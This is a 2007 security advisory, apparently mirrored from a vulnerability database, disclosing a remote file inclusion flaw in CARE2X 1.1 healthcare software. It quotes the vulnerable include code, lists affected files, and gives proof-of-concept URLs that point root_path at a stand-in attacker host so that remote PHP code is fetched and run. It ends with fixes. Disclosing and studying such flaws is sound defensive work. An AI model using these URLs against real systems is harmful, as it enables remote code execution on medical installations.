CARE2X 1.1 (root_path) Remote File Inclusion Vulnerability

🗓️ 15 Mar 2007 00:00:00Reported by RootType
CARE2X 1.1 Remote File Inclusion Vulnerability in root_path functio

                                                ____________________&nbsp;&nbsp;&nbsp;___&nbsp;___&nbsp;________
\\_&nbsp;&nbsp;&nbsp;_____/\\_&nbsp;&nbsp;&nbsp;___&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\\_____&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;__)_&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;&nbsp;&nbsp;~&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\___&nbsp;&nbsp;&nbsp;&nbsp;Y&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;
/_______&nbsp;&nbsp;/&nbsp;\\______&nbsp;&nbsp;/\\___|_&nbsp;&nbsp;/\\_______&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.OR.ID
ECHO_ADV_72$2007

-------------------------------------------------------------------------
[ECHO_ADV_72$2007]&nbsp;CARE2X&nbsp;(root_path)&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
--------------------------&nbsp;----------------------------------------------

Author		:&nbsp;Dedi&nbsp;Dwianto&nbsp;a.k.a&nbsp;the_day
Date&nbsp;Found	:&nbsp;March,&nbsp;13th&nbsp;2007
Location	:&nbsp;Indonesia,&nbsp;Jakarta
web		:&nbsp;http://advisories.echo.or.id/adv/adv72-theday-2007.txt
Critical&nbsp;Lvl	:&nbsp;Highly&nbsp;critical
Impact		:&nbsp;System&nbsp;access
Where		:&nbsp;From&nbsp;Remote
---------------------------------------------------------------------------

Affected&nbsp;software&nbsp;description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	:&nbsp;CARE2X
version		:&nbsp;1.1
URL		:&nbsp;http://www.care2x.org

Care2x&nbsp;integrates&nbsp;data,&nbsp;functions&nbsp;and&nbsp;workflows&nbsp;in&nbsp;a&nbsp;healthcare&nbsp;environment.&nbsp;
It&nbsp;is&nbsp;currently&nbsp;composed&nbsp;of&nbsp;four&nbsp;major&nbsp;components.&nbsp;
Each&nbsp;of&nbsp;these&nbsp;components&nbsp;can&nbsp;also&nbsp;function&nbsp;individually.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

-&nbsp;Invalid&nbsp;include_once&nbsp;function&nbsp;at&nbsp;include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------

<?
if(file_exists($root_path.\"language/$lang/lang_\".$lang.\"_checkdate.php\"))&nbsp;include_once($root_path.\"language/$lang/lang_\".$lang.\"_checkdate.php\");
&nbsp;else&nbsp;include_once($root_path.\"language/en/lang_en_checkdate.php\");
if(file_exists($root_path.\"language/$lang/lang_\".$lang.\"_date_time.php\"))&nbsp;include_once($root_path.\"language/$lang/lang_\".$lang.\"_date_time.php\");
&nbsp;else&nbsp;include_once($root_path.\"language/en/lang_en_date_time.php\");
?>

----------------------------------------------------------

Input&nbsp;passed&nbsp;to&nbsp;the&nbsp;\"$root_path\"&nbsp;parameter&nbsp;in&nbsp;inc_checkdate_lang.php&nbsp;is&nbsp;not
properly&nbsp;verified&nbsp;before&nbsp;being&nbsp;used.&nbsp;This&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;execute
arbitrary&nbsp;PHP&nbsp;code&nbsp;by&nbsp;including&nbsp;files&nbsp;from&nbsp;local&nbsp;or&nbsp;external
resources.

also&nbsp;affected&nbsp;files&nbsp;:

include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php


and&nbsp;More&nbsp;....



Proof&nbsp;Of&nbsp;Concept:
~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?



Solution:
~~~~~~

-&nbsp;Sanitize&nbsp;variable&nbsp;$root_path&nbsp;affected&nbsp;files.
-&nbsp;Turn&nbsp;off&nbsp;register_globals

---------------------------------------------------------------------------

Shoutz:
~~
~&nbsp;y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~&nbsp;Jessy&nbsp;Nice&nbsp;Girl
~&nbsp;az001,bomm_3x,matdhule,angelia
~&nbsp;[email protected]
~&nbsp;#aikmel&nbsp;-&nbsp;#e-c-h-o&nbsp;@irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EcHo&nbsp;Research&nbsp;&&nbsp;Development&nbsp;Center
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://advisories.echo.or.id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;erdc[at]echo[dot]or[dot]id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;the_day[at]echo[dot]or[dot]id
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
--------------------------------&nbsp;[&nbsp;EOF&nbsp;]----------------------------------

&nbsp;
15 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1